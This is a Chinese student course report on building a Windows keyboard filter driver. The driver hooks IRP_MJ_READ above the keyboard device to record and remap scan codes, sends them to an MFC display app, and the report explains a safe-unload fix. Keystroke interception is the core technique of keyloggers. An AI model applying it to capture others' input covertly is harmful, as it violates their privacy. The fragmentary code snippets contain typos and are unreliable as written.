TUS_SUCCESS;}//释放UNICODE字符串所占用的内存RtlFreeUnicodeString(&ntUnicodeString);DbgPrint((“Ctal2cap:Successfully connected to keyboard device\n:));RtlInitUnicodeString (&messageUnicodeStringm,messageBuffer);ZwDisplayString(&messageUnicodeString);Return STA TUS_SUCCESS;}过滤键盘读操作每一次键盘操作,都会间接地向键盘驱动发送一个IPR_MJ_READ请求,因此可以监视IPR_MJ_READ来达到这个目的。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

《驱动程序开发技术》大作业——过滤键盘驱动姓名:***学号:**********班级:计科普0902摘要Kbdclass.sys是键盘的类驱动,无论是USB键盘,还是PS/2键盘都要经过它的处理;在键盘类驱动之下,和实际硬件打交道的驱动叫做“端口驱动”,比如:i8042prt.sys是ps/2键盘的端口驱动,Kbdhid.sys是USB键盘的端口驱动。

键盘中断导致键盘中断服务例程被执行,导致最终i8042prt的I8042KeyboardInterruptService被执行。

在I8042KeyboardInterruptService中,从端口读取扫描码,放到一个KEYBOARD_INPUT_DATA 结构中。

并把这个结构放到i8042prt的输入队列中。

最后会调用内核api函数KeInsertQueueDpc。

在这个调用中会调用上层KbdClass.sys中处理输入的回调函数KeyboardClassServiceCallback,取走i8042prt的输入数据队列里的数据。

利用驱动分层机制,使用过滤驱动捕获键盘的扫描码并保存下来;应用程序定时访问驱动程序取回扫描码,转换成相应的按键名称并显示;通过应用程序设定按键映射,应用程序将指令传送给驱动程序,以实现将指定的按键消息转换成其他按键。

关键词:过滤键盘;驱动分层;映射;扫描码过滤键盘驱动一、主要设计思路利用驱动分层机制,使用过滤驱动捕获键盘的扫描码并保存下来;应用程序定时访问驱动程序取回扫描码,转换成相应的按键名称并显示;通过应用程序设定按键映射,应用程序将指令传送给驱动程序,以实现将指定的按键消息转换成其他按键。

键盘过滤驱动是工作在异步模式下的。

系统为了得到一个按键操作,首先要发送一个IRP_MJ_READ消息到驱动的设备栈,驱动收到这个IRP后,会一直保持这个IRP为未确定(pending)态,因为当时并没有按键操作。

直到一个键被真正的按下,驱动此时就会立刻完成这个IRP,并将刚按下的键的相关数据做为该IRP的返回值。

在该IRP带着对应的数据返回后,操作系统将这些值传递给对应的事件系统来处理,然后系统紧接着又会立刻发送一个IRP_MJ_READ请求,等待下次的按键操作,重复以上的步骤。

为了实现截获键盘消息,需要在过滤驱动程序中创建一个挂接到物理键盘设备上层的过滤驱动设备。

系统发送的IRP_MJ_READ消息会首先到达过滤驱动设备,这样就可以有机会给IRP_MJ_READ设置指定的完成例程,然后将消息下传给物理键盘设备。

当有按键动作发生时,IRP_MJ_READ消息在完成后就会调用指定的完成例程,这时就可以在完成例程中读出键盘动作的内容,或者修改这些信息,以实现按键的映射。

表.2:截获键盘消息标准的按键扫描码和ASCII码没有直接的对应关系,大部分按键的扫描码为一个字节;部分功能键为两个字节,且都以0xE0为高字节。

但实验中发现,IRP中返回的按键信息和标准的扫描码并不全等。

在KEYBOARD_INPUT_DATA结构中,MakeCode字段仅包含了一个字节的编码,还要同时参照Flags字段的内容才能判断出按键的扫描码。

下表是KEYBOARD_INPUT_DATA结构中两个字段的内容与其所代表的按键动作的对应关系。

当Flags=0或1时,说明按下的按键是扫描码为一个字节的按键;若Flags=2或3,则说明按下的是扫描码为两个字节的按键,而MakeCode中只保留扫描码的低字节。

表.3:按键动作的对应关系若使用指定的内容改写返回值中的KEYBOARD_INPUT_DATA结构,就可以改变按键的作用,实现按键映射的功能。

除了IRP_MJ_READ以外,对于其他发送给键盘设备的消息,到达过滤驱动设备时就可以不做处理,直接下传给键盘设备,以保证系统的正常工作。

在完成例程中将每次捕获得到的扫描码保存起来,应用程序每隔一定的时间(100ms)读取一次并将其清空,再根据扫描码查表得到相应按键的名称,这样就可以做到在应用程序中实时的显示键盘动作。

用户在应用程序中设定好按键映射的对应关系后,可以通过IRP_MJ_DEVICE_CONTROL消息将映射关系发送给过滤驱动程序,还是在完成例程中实现按键的映射替代。

二、模块的划分、实现及说明具体实现分为驱动程序和应用程序两大部分。

驱动程序用C和WindowsXP DDK实现,应用程序通过VC++ 6.0基于MFC实现。

在调试和测试中使用了DriverMonitor和Dbgview等工具。

下面分别介绍其中主要部分的实现:(一)驱动程序部分1.DEVICE_EXTENSION的定义2.DriverEntry主要任务是填写MajorFunction数组、设置卸载例程,并调用CreateDevice函数。

对所关心的一些消息分别设置回调函数,为其他消息设置通用处理函数。

3.DispatchGeneral对于不关心的那些消息,返回成功值并传递给下一层的键盘设备,本层不作处理。

4.CreateDevice建立设备对象,初始化DEVICE_EXTENSION结构,建立符号链接,将过滤驱动设备挂接到物理键盘设备之上。

5.DispatchRead在收到IRP_MJ_READ的IRP后,为其设置指定的完成例程ReadComplete,然后再将IRP 发送给物理键盘设备。

6.ReadComplete在IRP完成时会调用ReadComplete例程,此时用KEYBOARD_INPUT_DATA结构读取IRP中的返回值,得到按键事件的扫描码并保存。

同时若符合按键映射规则,则改写IRP中的返回值,实现按键的替换。

7.DeviceIOControl实现与应用程序之间的通信。

当应用程序通过DeviceIoControl读扫描码时,利用IRP 中的rmation字段返回一个ULONG类型的扫描码。

当应用程序设定按键映射规则时,同样使用DeviceIoControl通过系统内存缓冲区传递两个ULONG型的扫描码到pDevExt->SetCode数组中。

(二)应用程序部分使用MFC实现应用界面,在程序启动时打开过滤驱动设备。

开辟新的工作线程,实现定时(100ms)读取捕获到的键盘扫描码,将扫描码翻译成按键名称,并按时间顺序将按键动作显示在ListBox中。

设定按键映射规则时,通过DeviceIoControl将两个DWORD类型的扫描码通过系统缓冲IO的方式传递给驱动程序。

三、遇到的问题及解决方法键盘过滤驱动的卸载问题。

在使用常规的驱动卸载步骤时,会发生系统蓝屏重启的故障。

通过分析和查阅相关资料,终于得出了解决的办法。

由于IRM_MJ_READ是异步的,在给IRP_MJ_READ设置了完成例程的情况下,该IRP完成后会调用过滤驱动所指定的完成例程,使得有了处理返回数据的机会。

但也正是因为这样,当动态御载了键盘过滤驱动,也就卸载掉了完成例程,而之后的再次按键动作在完成了这个IRP后还是会调用那个已经不存在了的完成例程,因而引发错误。

同理可知,在安装过滤驱动时,就已经有一个IRP在键盘设备驱动中等待按键了,而该IRP并没有被设置完成例程。

因此可知,在驱动运行之后的第一个按键动作是不会被截获的。

在实验中的确证实了这个推想。

动态卸载的实现,是在设备扩展对象中加入一个IrpPendingCount计数器,用来记录正在运行中的(pending状态)IRP数量。

当收到一个IRM_MJ_READ时计数器加1,在完成一个IRP之后计数器减1。

在驱动卸载例程中,先用IoDetachDevice解除过滤驱动的绑定,使得之后的IRP不会再被设置完成例程;然后要等待到计数器为0,即已被设置了完成例程的IRP都已完成之后才卸载设备和驱动对象。

因此,在进入驱动卸载例程之后,还需要等待一次额外的按键操作才能正常的完成驱动程序的卸载。

// 解除过滤驱动,释放设备对象与物理驱动之间的绑定关系IoDetachDevice(KeyDevice);//等待计数器为0while(pDevExt->IrpPendingCount){}//删除过滤设备IoDeleteDevice(KeyFilterDevice);//删除符号链接pLinkName = pDevExt->ustrSymLinkName;IoDeleteSymbolicLink(&pLinkName);return;四、程序运行结果及使用说明图.1:使用DriverMonitor打开和加载驱动程序图.2:设备对象KeyFilterDriver已被正确创建,并挂接到了键盘设备上图.3:显示经过翻译的按键动作输入按键映射规则,如要将按键A替换成B,则在映射码中输入A的扫描码:0x1E,在目标码中输入B的扫描码:0x30,点击设置,之后的按键A就会被替换成按键B。

关闭应用程序后,在DriverMonitor中卸载驱动,驱动卸载正常(需要一次额外的按键操作)。

图.4:在DriverMonitor中卸载驱动,驱动卸载正常五、总结对于设备驱动这门课程我感觉自己学的不太好,对于一些知识点比较模糊,估计是自己花在这门课程的时间相对较少,这次的大作业对我来说难度不小,但是通过同学和老师的帮助以及在网上的反复查找使我对Windows驱动程序的基本结构有了大致的了解,对IRP的传递和操作方式有了一定的认识和理解,对内核模式和应用模式之间的数据交换有了初步的认识。

在以后的学习生活当中,我会改掉自己学习中的一些坏习惯,对于模糊的知识要尽快去弄清楚,不要一而再再而三的拖下去。

相关文档
最新文档